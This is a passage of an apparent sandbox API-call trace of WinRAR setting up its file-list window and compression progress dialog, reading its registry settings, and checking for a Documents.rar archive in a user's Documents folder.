lpClassName="SysListView32", lpWindowName="", dwStyle=0x44200249, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x1023e, hMenu=0xb, hInstance=0x7ff6f74d0000, lpParam=0x0) returned 0x102f2 [0061.010] NtdllDefWindowProc_W () returned 0x2 [0061.010] NtdllDefWindowProc_W () returned 0x0 [0061.030] NtdllDefWindowProc_W () returned 0x0 [0061.030] GetLastError () returned 0x0 [0061.030] SetLastError (dwErrCode=0x0) [0061.030] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0faeb0 | out: phkResult=0x141a0faeb0*=0x0) returned 0x2 [0061.030] GetMenu (hWnd=0x1023e) returned 0x10257 [0061.030] GetSubMenu (hMenu=0x10257, nPos=4) returned 0x10263 [0061.030] GetSubMenu (hMenu=0x10263, nPos=3) returned 0x10267 [0061.030] CheckMenuItem (hMenu=0x10267, uIDCheckItem=0xa5, uCheck=0x0) returned 0x0 [0061.030] CheckMenuItem (hMenu=0x10267, uIDCheckItem=0xa6, uCheck=0x8) returned 0x0 [0061.030] GetWindowLongPtrW (hWnd=0x102f2, nIndex=-16) returned 0x44300249 [0061.030] GetLastError () returned 0x0 [0061.030] SetLastError (dwErrCode=0x0) [0061.030] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0faeb0 | out: phkResult=0x141a0faeb0*=0x0) returned 0x2 [0061.030] GetLastError () returned 0x0 [0061.030] SetLastError (dwErrCode=0x0) [0061.030] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0faeb0 | out: phkResult=0x141a0faeb0*=0x0) returned 0x2 [0061.030] GetLastError () returned 0x0 [0061.030] SetLastError (dwErrCode=0x0) [0061.030] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0faeb0 | out: phkResult=0x141a0faeb0*=0x0) returned 0x2 [0061.030] GetLastError () returned 0x0 [0061.030] SetLastError (dwErrCode=0x0) [0061.030] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0faeb0 | out: phkResult=0x141a0faeb0*=0x0) returned 0x2 [0061.030] SendMessageW (hWnd=0x102f2, Msg=0x1036, wParam=0x0, lParam=0x10420) returned 0x0 [0061.033] GetLastError () returned 0x0 [0061.033] SetLastError (dwErrCode=0x0) [0061.033] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0fa620 | out: phkResult=0x141a0fa620*=0x0) returned 0x2 [0061.033] SendMessageW (hWnd=0x102f2, Msg=0xb, wParam=0x0, lParam=0x0) returned 0x0 [0061.033] GetVersionExW (in: lpVersionInformation=0x141a0fb170*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x70, szCSDVersion="") | out: lpVersionInformation=0x141a0fb170*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x3ad7, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0061.033] SendMessageW (hWnd=0x102f2, Msg=0x101c, wParam=0x9, lParam=0x0) returned 0x0 [0061.033] SendMessageW (hWnd=0x102f2, Msg=0x101c, wParam=0x8, lParam=0x0) returned 0x0 [0061.034] SendMessageW (hWnd=0x102f2, Msg=0x101c, wParam=0x7, lParam=0x0) returned 0x0 [0061.034] SendMessageW (hWnd=0x102f2, Msg=0x101c, wParam=0x6, lParam=0x0) returned 0x0 [0061.034] SendMessageW (hWnd=0x102f2, Msg=0x101c, wParam=0x5, lParam=0x0) returned 0x0 [0061.034] SendMessageW (hWnd=0x102f2, Msg=0x101c, wParam=0x4, lParam=0x0) returned 0x0 [0061.034] SendMessageW (hWnd=0x102f2, Msg=0x101c, wParam=0x3, lParam=0x0) returned 0x0 [0061.034] SendMessageW (hWnd=0x102f2, Msg=0x101c, wParam=0x2, lParam=0x0) returned 0x0 [0061.034] SendMessageW (hWnd=0x102f2, Msg=0x101c, wParam=0x1, lParam=0x0) returned 0x0 [0061.034] SendMessageW (hWnd=0x102f2, Msg=0x101c, wParam=0x0, lParam=0x0) returned 0x0 [0061.034] GetLastError () returned 0x6 [0061.034] SetLastError (dwErrCode=0x6) [0061.034] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0fae30 | out: phkResult=0x141a0fae30*=0x0) returned 0x2 [0061.034] GetMenu (hWnd=0x1023e) returned 0x10257 [0061.034] CheckMenuItem (hMenu=0x10257, uIDCheckItem=0xa4, uCheck=0x0) returned 0x0 [0061.034] GetLastError () returned 0x6 [0061.034] SetLastError (dwErrCode=0x6) [0061.034] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\FileColumnWidths", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0fae30 | out: phkResult=0x141a0fae30*=0x0) returned 0x2 [0061.034] GetLastError () returned 0x6 [0061.034] SetLastError (dwErrCode=0x6) [0061.034] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\FileColumnWidths", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0fae30 | out: phkResult=0x141a0fae30*=0x0) returned 0x2 [0061.035] GetLastError () returned 0x6 [0061.035] SetLastError (dwErrCode=0x6) [0061.035] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\FileColumnWidths", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0fae30 | out: phkResult=0x141a0fae30*=0x0) returned 0x2 [0061.035] GetLastError () returned 0x6 [0061.035] SetLastError (dwErrCode=0x6) [0061.035] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\FileColumnWidths", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0fae30 | out: phkResult=0x141a0fae30*=0x0) returned 0x2 [0061.035] GetLastError () returned 0x6 [0061.035] SetLastError (dwErrCode=0x6) [0061.035] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\FileColumnWidths", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0fae30 | out: phkResult=0x141a0fae30*=0x0) returned 0x2 [0061.035] GetLastError () returned 0x6 [0061.035] SetLastError (dwErrCode=0x6) [0061.035] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\FileColumnWidths", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0fae30 | out: phkResult=0x141a0fae30*=0x0) returned 0x2 [0061.035] GetLastError () returned 0x6 [0061.035] SetLastError (dwErrCode=0x6) [0061.035] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\FileColumnWidths", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0fae30 | out: phkResult=0x141a0fae30*=0x0) returned 0x2 [0061.035] GetLastError () returned 0x6 [0061.035] SetLastError (dwErrCode=0x6) [0061.035] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\FileColumnWidths", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0fae30 | out: phkResult=0x141a0fae30*=0x0) returned 0x2 [0061.035] GetLastError () returned 0x6 [0061.035] SetLastError (dwErrCode=0x6) [0061.035] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\FileColumnWidths", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0fae30 | out: phkResult=0x141a0fae30*=0x0) returned 0x2 [0061.035] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x6e, lpBuffer=0x7ff6f7650a30, cchBufferMax=512 | out: lpBuffer="Name") returned 0x4 [0061.035] SendMessageW (hWnd=0x102f2, Msg=0x1061, wParam=0x0, lParam=0x141a0fb2d0) returned 0x0 [0061.036] GetLastError () returned 0x6 [0061.036] SetLastError (dwErrCode=0x6) [0061.036] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\ArcColumnStates", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0fae30 | out: phkResult=0x141a0fae30*=0x0) returned 0x2 [0061.036] GetLastError () returned 0x6 [0061.036] SetLastError (dwErrCode=0x6) [0061.036] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\FileColumnStates", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0fae30 | out: phkResult=0x141a0fae30*=0x0) returned 0x2 [0061.036] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x6f, lpBuffer=0x7ff6f7650e30, cchBufferMax=512 | out: lpBuffer="Size") returned 0x4 [0061.036] SendMessageW (hWnd=0x102f2, Msg=0x1061, wParam=0x1, lParam=0x141a0fb2d0) returned 0x1 [0061.036] GetLastError () returned 0x6 [0061.036] SetLastError (dwErrCode=0x6) [0061.036] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\ArcColumnStates", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0fae30 | out: phkResult=0x141a0fae30*=0x0) returned 0x2 [0061.036] GetLastError () returned 0x6 [0061.037] SetLastError (dwErrCode=0x6) [0061.037] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\FileColumnStates", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0fae30 | out: phkResult=0x141a0fae30*=0x0) returned 0x2 [0061.037] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x70, lpBuffer=0x7ff6f764f230, cchBufferMax=512 | out: lpBuffer="Type") returned 0x4 [0061.037] SendMessageW (hWnd=0x102f2, Msg=0x1061, wParam=0x2, lParam=0x141a0fb2d0) returned 0x2 [0061.037] GetLastError () returned 0x6 [0061.037] SetLastError (dwErrCode=0x6) [0061.037] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\ArcColumnStates", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0fae30 | out: phkResult=0x141a0fae30*=0x0) returned 0x2 [0061.037] GetLastError () returned 0x6 [0061.037] SetLastError (dwErrCode=0x6) [0061.037] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\FileColumnStates", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0fae30 | out: phkResult=0x141a0fae30*=0x0) returned 0x2 [0061.037] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x72, lpBuffer=0x7ff6f764f630, cchBufferMax=512 | out: lpBuffer="Modified") returned 0x8 [0061.037] SendMessageW (hWnd=0x102f2, Msg=0x1061, wParam=0x3, lParam=0x141a0fb2d0) returned 0x3 [0061.038] GetLastError () returned 0x6 [0061.038] SetLastError (dwErrCode=0x6) [0061.038] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\ArcColumnStates", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0fae30 | out: phkResult=0x141a0fae30*=0x0) returned 0x2 [0061.038] GetLastError () returned 0x6 [0061.038] SetLastError (dwErrCode=0x6) [0061.038] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\FileColumnStates", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0fae30 | out: phkResult=0x141a0fae30*=0x0) returned 0x2 [0061.038] GetLastError () returned 0x6 [0061.038] SetLastError (dwErrCode=0x6) [0061.038] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\ArcColumnStates", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0fae30 | out: phkResult=0x141a0fae30*=0x0) returned 0x2 [0061.038] GetLastError () returned 0x6 [0061.038] SetLastError (dwErrCode=0x6) [0061.038] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\FileColumnStates", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0fae30 | out: phkResult=0x141a0fae30*=0x0) returned 0x2 [0061.038] SendMessageW (hWnd=0x102f2, Msg=0x101f, wParam=0x0, lParam=0x0) returned 0x102f4 [0061.038] SendMessageW (hWnd=0x102f2, Msg=0xb, wParam=0x1, lParam=0x0) returned 0x0 [0061.039] GetClientRect (in: hWnd=0x1023e, lpRect=0x141a0fb300 | out: lpRect=0x141a0fb300) returned 1 [0061.039] GetWindowRect (in: hWnd=0x0, lpRect=0x141a0fb2a0 | out: lpRect=0x141a0fb2a0) returned 0 [0061.039] GetWindowRect (in: hWnd=0x0, lpRect=0x141a0fb2a0 | out: lpRect=0x141a0fb2a0) returned 0 [0061.039] MoveWindow (hWnd=0x102f2, X=0, Y=566, nWidth=1064, nHeight=-567, bRepaint=1) returned 1 [0061.040] ShowWindow (hWnd=0x102f2, nCmdShow=5) returned 0 [0061.043] GetMenu (hWnd=0x1023e) returned 0x10257 [0061.043] EnableMenuItem (hMenu=0x10257, uIDEnableItem=0x66, uEnable=0x1) returned 0 [0061.043] EnableMenuItem (hMenu=0x10257, uIDEnableItem=0x78, uEnable=0x0) returned 0 [0061.043] EnableMenuItem (hMenu=0x10257, uIDEnableItem=0x83, uEnable=0x0) returned 0 [0061.043] EnableMenuItem (hMenu=0x10257, uIDEnableItem=0x80, uEnable=0x0) returned 0 [0061.043] EnableMenuItem (hMenu=0x10257, uIDEnableItem=0x7b, uEnable=0x0) returned 0 [0061.043] EnableMenuItem (hMenu=0x10257, uIDEnableItem=0x84, uEnable=0x0) returned 0 [0061.043] EnableMenuItem (hMenu=0x10257, uIDEnableItem=0x85, uEnable=0x0) returned 0 [0061.043] EnableMenuItem (hMenu=0x10257, uIDEnableItem=0x86, uEnable=0x0) returned 0 [0061.043] EnableMenuItem (hMenu=0x10257, uIDEnableItem=0x87, uEnable=0x0) returned 0 [0061.043] EnableMenuItem (hMenu=0x10257, uIDEnableItem=0xa4, uEnable=0x1) returned 0 [0061.043] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="rar", cchCount1=-1, lpString2="rar", cchCount2=-1) returned 2 [0061.043] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="rar", cchCount1=-1, lpString2="exe", cchCount2=-1) returned 3 [0061.043] GetCurrentDirectoryW (in: nBufferLength=0x800, lpBuffer=0x141a0f4110 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents") returned 0x19 [0061.043] GetLastError () returned 0x578 [0061.043] SetLastError (dwErrCode=0x578) [0061.043] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Paths", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0f2380 | out: phkResult=0x141a0f2380*=0x0) returned 0x2 [0061.043] ExpandEnvironmentStringsW (in: lpSrc="", lpDst=0x141a0f30c0, nSize=0x800 | out: lpDst="") returned 0x1 [0061.043] GetFileAttributesW (lpFileName="Documents.rar" (normalized: "c:\\users\\fd1hvy\\documents\\documents.rar")) returned 0xffffffff [0061.044] GetCurrentDirectoryW (in: nBufferLength=0x7ff, lpBuffer=0x141a0f4070 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents") returned 0x19 [0061.044] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\Documents\\Documents.rar" (normalized: "c:\\users\\fd1hvy\\documents\\documents.rar")) returned 0xffffffff [0061.044] AllocateAndInitializeSid (in: pIdentifierAuthority=0x141a0f60e0, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x141a0f60d8 | out: pSid=0x141a0f60d8*=0x1162e87da00*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0061.044] CheckTokenMembership (in: TokenHandle=0x0, SidToCheck=0x1162e87da00*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x141a0f60d0 | out: IsMember=0x141a0f60d0) returned 1 [0061.044] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=1, lpString2="WinCon", cchCount2=6) returned 1 [0061.044] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0f5e40 | out: lpPerformanceCount=0x141a0f5e40*=15237274695) returned 1 [0061.044] IsAppThemed () returned 0x1 [0061.044] IsThemeActive () returned 0x1 [0061.044] GetLastError () returned 0x0 [0061.044] SetLastError (dwErrCode=0x0) [0061.044] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Interface", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0f59c0 | out: phkResult=0x141a0f59c0*=0x304) returned 0x0 [0061.044] RegQueryValueExW (in: hKey=0x304, lpValueName="SystemProgressBar", lpReserved=0x0, lpType=0x141a0f5e24, lpData=0x141a0f5e20, lpcbData=0x141a0f5e58*=0x4 | out: lpType=0x141a0f5e24*=0x0, lpData=0x141a0f5e20*=0x1, lpcbData=0x141a0f5e58*=0x4) returned 0x2 [0061.044] RegCloseKey (hKey=0x304) returned 0x0 [0061.044] GetLastError () returned 0x0 [0061.045] SetLastError (dwErrCode=0x0) [0061.045] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Interface", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0f59c0 | out: phkResult=0x141a0f59c0*=0x304) returned 0x0 [0061.045] RegQueryValueExW (in: hKey=0x304, lpValueName="TaskbarProgressBar", lpReserved=0x0, lpType=0x141a0f5e24, lpData=0x141a0f5e20, lpcbData=0x141a0f5e58*=0x4 | out: lpType=0x141a0f5e24*=0x0, lpData=0x141a0f5e20*=0x1, lpcbData=0x141a0f5e58*=0x4) returned 0x2 [0061.045] RegCloseKey (hKey=0x304) returned 0x0 [0061.045] FindResourceW (hModule=0x7ff6f74d0000, lpName="CMDWNDADD", lpType=0x5) returned 0x7ff6f76c35c8 [0061.045] LoadResource (hModule=0x7ff6f74d0000, hResInfo=0x7ff6f76c35c8) returned 0x7ff6f778a010 [0061.045] SizeofResource (hModule=0x7ff6f74d0000, hResInfo=0x7ff6f76c35c8) returned 0x414 [0061.045] CreateDialogIndirectParamW (hInstance=0x7ff6f74d0000, lpTemplate=0x1162e885ab0, hWndParent=0x0, lpDialogFunc=0x7ff6f75968c4, dwInitParam=0x0) returned 0x102f8 [0061.084] GetWindowRect (in: hWnd=0x102f8, lpRect=0x141a0f2808 | out: lpRect=0x141a0f2808) returned 1 [0061.084] GetClientRect (in: hWnd=0x102f8, lpRect=0x141a0f2828 | out: lpRect=0x141a0f2828) returned 1 [0061.084] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0f2850, nMaxCount=1024 | out: lpString="Preparing files...") returned 18 [0061.084] SetWindowTextW (hWnd=0x102f8, lpString="Preparing files...") returned 1 [0061.085] GetSystemMetrics (nIndex=8) returned 3 [0061.085] GetWindow (hWnd=0x102f8, uCmd=0x5) returned 0x102fa [0061.085] GetWindowTextW (in: hWnd=0x102fa, lpString=0x141a0f2850, nMaxCount=1024 | out: lpString="") returned 0 [0061.085] GetWindow (hWnd=0x102fa, uCmd=0x2) returned 0x102fc [0061.085] GetWindowTextW (in: hWnd=0x102fc, lpString=0x141a0f2850, nMaxCount=1024 | out: lpString="") returned 0 [0061.085] GetWindow (hWnd=0x102fc, uCmd=0x2) returned 0x102fe [0061.085] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0f2850, nMaxCount=1024 | out: lpString="") returned 0 [0061.085] GetWindow (hWnd=0x102fe, uCmd=0x2) returned 0x10300 [0061.085] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0f2850, nMaxCount=1024 | out: lpString="") returned 0 [0061.086] GetWindow (hWnd=0x10300, uCmd=0x2) returned 0x10302 [0061.086] GetWindowTextW (in: hWnd=0x10302, lpString=0x141a0f2850, nMaxCount=1024 | out: lpString="") returned 0 [0061.086] GetWindow (hWnd=0x10302, uCmd=0x2) returned 0x10304 [0061.086] GetWindowTextW (in: hWnd=0x10304, lpString=0x141a0f2850, nMaxCount=1024 | out: lpString="") returned 0 [0061.086] GetWindow (hWnd=0x10304, uCmd=0x2) returned 0x10306 [0061.086] GetWindowTextW (in: hWnd=0x10306, lpString=0x141a0f2850, nMaxCount=1024 | out: lpString="") returned 0 [0061.086] GetWindow (hWnd=0x10306, uCmd=0x2) returned 0x10308 [0061.086] GetWindowTextW (in: hWnd=0x10308, lpString=0x141a0f2850, nMaxCount=1024 | out: lpString="Elapsed time") returned 12 [0061.086] SetWindowTextW (hWnd=0x10308, lpString="Elapsed time") returned 1 [0061.086] GetWindow (hWnd=0x10308, uCmd=0x2) returned 0x1030a [0061.086] GetWindowTextW (in: hWnd=0x1030a, lpString=0x141a0f2850, nMaxCount=1024 | out: lpString="") returned 0 [0061.086] GetWindow (hWnd=0x1030a, uCmd=0x2) returned 0x1030c [0061.086] GetWindowTextW (in: hWnd=0x1030c, lpString=0x141a0f2850, nMaxCount=1024 | out: lpString="Time left") returned 9 [0061.086] SetWindowTextW (hWnd=0x1030c, lpString="Time left") returned 1 [0061.086] GetWindow (hWnd=0x1030c, uCmd=0x2) returned 0x1030e [0061.086] GetWindowTextW (in: hWnd=0x1030e, lpString=0x141a0f2850, nMaxCount=1024 | out: lpString="") returned 0 [0061.086] GetWindow (hWnd=0x1030e, uCmd=0x2) returned 0x10310 [0061.086] GetWindowTextW (in: hWnd=0x10310, lpString=0x141a0f2850, nMaxCount=1024 | out: lpString="") returned 0 [0061.086] GetWindow (hWnd=0x10310, uCmd=0x2) returned 0x10312 [0061.086] GetWindowTextW (in: hWnd=0x10312, lpString=0x141a0f2850, nMaxCount=1024 | out: lpString="Compression ratio") returned 17 [0061.086] SetWindowTextW (hWnd=0x10312, lpString="Compression ratio") returned 1 [0061.086] GetWindow (hWnd=0x10312, uCmd=0x2) returned 0x10314 [0061.086] GetWindowTextW (in: hWnd=0x10314, lpString=0x141a0f2850, nMaxCount=1024 | out: lpString="") returned 0 [0061.086] GetWindow (hWnd=0x10314, uCmd=0x2) returned 0x10316 [0061.086] GetWindowTextW (in: hWnd=0x10316, lpString=0x141a0f2850, nMaxCount=1024 | out: lpString="Processed") returned 9 [0061.086] SetWindowTextW (hWnd=0x10316, lpString="Processed") returned 1 [0061.086] GetWindow (hWnd=0x10316, uCmd=0x2) returned 0x10318 [0061.086] GetWindowTextW (in: hWnd=0x10318, lpString=0x141a0f2850, nMaxCount=1024 | out: lpString="") returned 0 [0061.086] GetWindow (hWnd=0x10318, uCmd=0x2) returned 0x1031a [0061.086] GetWindowTextW (in: hWnd=0x1031a, lpString=0x141a0f2850, nMaxCount=1024 | out: lpString="") returned 0 [0061.087] GetWindow (hWnd=0x1031a, uCmd=0x2) returned 0x1031c [0061.087] GetWindowTextW (in: hWnd=0x1031c, lpString=0x141a0f2850, nMaxCount=1024 | out: lpString="&Background") returned 11 [0061.087] SetWindowTextW (hWnd=0x1031c, lpString="&Background") returned 1 [0061.087] GetWindow (hWnd=0x1031c, uCmd=0x2) returned 0x1031e [0061.087] GetWindowTextW (in: hWnd=0x1031e, lpString=0x141a0f2850, nMaxCount=1024 | out: lpString="&Pause") returned 6 [0061.087] SetWindowTextW (hWnd=0x1031e, lpString="&Pause") returned 1 [0061.087] GetWindow (hWnd=0x1031e, uCmd=0x2) returned 0x10320 [0061.087] GetWindowTextW (in: hWnd=0x10320, lpString=0x141a0f2850, nMaxCount=1024 | out: lpString="Cancel") returned 6 [0061.087] SetWindowTextW (hWnd=0x10320, lpString="Cancel") returned 1 [0061.087] GetWindow (hWnd=0x10320, uCmd=0x2) returned 0x10322 [0061.087] GetWindowTextW (in: hWnd=0x10322, lpString=0x141a0f2850, nMaxCount=1024 | out: lpString="&Mode...") returned 8 [0061.087] SetWindowTextW (hWnd=0x10322, lpString="&Mode...") returned 1 [0061.087] GetWindow (hWnd=0x10322, uCmd=0x2) returned 0x10324 [0061.087] GetWindowTextW (in: hWnd=0x10324, lpString=0x141a0f2850, nMaxCount=1024 | out: lpString="Help") returned 4 [0061.087] SetWindowTextW (hWnd=0x10324, lpString="Help") returned 1 [0061.087] GetWindow (hWnd=0x10324, uCmd=0x2) returned 0x0 [0061.087] IsWindowVisible (hWnd=0x102f8) returned 0 [0061.087] GetParent (hWnd=0x102f8) returned 0x0 [0061.087] IsWindowVisible (hWnd=0x0) returned 0 [0061.087] GetDesktopWindow () returned 0x10010 [0061.087] GetWindowRect (in: hWnd=0x10010, lpRect=0x141a0f4028 | out: lpRect=0x141a0f4028) returned 1 [0061.087] GetWindowRect (in: hWnd=0x102f8, lpRect=0x141a0f4038 | out: lpRect=0x141a0f4038) returned 1 [0061.087] GetWindowLongPtrW (hWnd=0x102f8, nIndex=-16) returned 0x84ca08cc [0061.087] SetWindowPos (hWnd=0x102f8, hWndInsertAfter=0x0, X=565, Y=314, cx=0, cy=0, uFlags=0x215) returned 1 [0061.089] SendMessageW (hWnd=0x102f8, Msg=0x402, wParam=0x0, lParam=0x0) returned 0x0 [0061.089] GetSystemMenu (hWnd=0x102f8, bRevert=0) returned 0x1029d [0061.089] EnableMenuItem (hMenu=0x1029d, uIDEnableItem=0xf000, uEnable=0x1) returned 0 [0061.089] EnableMenuItem (hMenu=0x1029d, uIDEnableItem=0xf030, uEnable=0x1) returned 0 [0061.089] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0061.266] CreateWindowExW (dwExStyle=0x0, lpClassName="tooltips_class32", lpWindowName=0x0, dwStyle=0x80000073, X=-2147483648, Y=-2147483648, nWidth=-2147483648, nHeight=-2147483648, hWndParent=0x102f8, hMenu=0x0, hInstance=0x7ff6f74d0000, lpParam=0x0) returned 0x10326 [0061.270] GetWindowRect (in: hWnd=0x10300, lpRect=0x141a0f4058 | out: lpRect=0x141a0f4058) returned 1 [0061.270] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x102f8, lpPoints=0x141a0f4058, cPoints=0x2 | out: lpPoints=0x141a0f4058) returned -22217272 [0061.270] SendMessageW (hWnd=0x10326, Msg=0x432, wParam=0x0, lParam=0x141a0f4040) returned 0x1 [0061.270] GetDlgItem (hDlg=0x102f8, nIDDlgItem=165) returned 0x102fc [0061.270] CreateWindowExW (dwExStyle=0x0, lpClassName="tooltips_class32", lpWindowName=0x0, dwStyle=0x80000073, X=-2147483648, Y=-2147483648, nWidth=-2147483648, nHeight=-2147483648, hWndParent=0x102f8, hMenu=0x0, hInstance=0x7ff6f74d0000, lpParam=0x0) returned 0x10328 [0061.273] GetWindowRect (in: hWnd=0x102fc, lpRect=0x141a0f4058 | out: lpRect=0x141a0f4058) returned 1 [0061.273] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x102f8, lpPoints=0x141a0f4058, cPoints=0x2 | out: lpPoints=0x141a0f4058) returned -22217272 [0061.273] SendMessageW (hWnd=0x10328, Msg=0x432, wParam=0x0, lParam=0x141a0f4040) returned 0x1 [0061.274] IsWindowVisible (hWnd=0x1023e) returned 0 [0061.274] IsIconic (hWnd=0x1023e) returned 0 [0061.274] GetWindowPlacement (in: hWnd=0x102f8, lpwndpl=0x141a0f44f0 | out: lpwndpl=0x141a0f44f0) returned 1 [0061.274] SetWindowPlacement (hWnd=0x1023e, lpwndpl=0x141a0f44f0) returned 1 [0061.274] NtdllDefWindowProc_W () returned 0x0 [0061.274] NtdllDefWindowProc_W () returned 0x0 [0061.274] NtdllDefWindowProc_W () returned 0x0 [0061.274] NtdllDefWindowProc_W () returned 0x1 [0061.274] NtdllDefWindowProc_W () returned 0x0 [0061.274] NtdllDefWindowProc_W () returned 0x0 [0061.275] GetClientRect (in: hWnd=0x1023e, lpRect=0x141a0f0f80 | out: lpRect=0x141a0f0f80) returned 1 [0061.275] GetWindowRect (in: hWnd=0x0, lpRect=0x141a0f0f20 | out: lpRect=0x141a0f0f20) returned 0 [0061.275] GetWindowRect (in: hWnd=0x0, lpRect=0x141a0f0f20 | out: lpRect=0x141a0f0f20) returned 0 [0061.275] MoveWindow (hWnd=0x102f2, X=0, Y=194, nWidth=293, nHeight=-195, bRepaint=1) returned 1 [0061.276] IsIconic (hWnd=0x1023e) returned 0 [0061.276] GetClientRect (in: hWnd=0x1023e, lpRect=0x141a0f0f00 | out: lpRect=0x141a0f0f00) returned 1 [0061.276] GetWindowRect (in: hWnd=0x0, lpRect=0x141a0f0ea0 | out: lpRect=0x141a0f0ea0) returned 0 [0061.276] GetWindowRect (in: hWnd=0x0, lpRect=0x141a0f0ea0 | out: lpRect=0x141a0f0ea0) returned 0 [0061.276] MoveWindow (hWnd=0x102f2, X=0, Y=194, nWidth=293, nHeight=-195, bRepaint=1) returned 1 [0061.276] IsIconic (hWnd=0x1023e) returned 0 [0061.276] GetClientRect 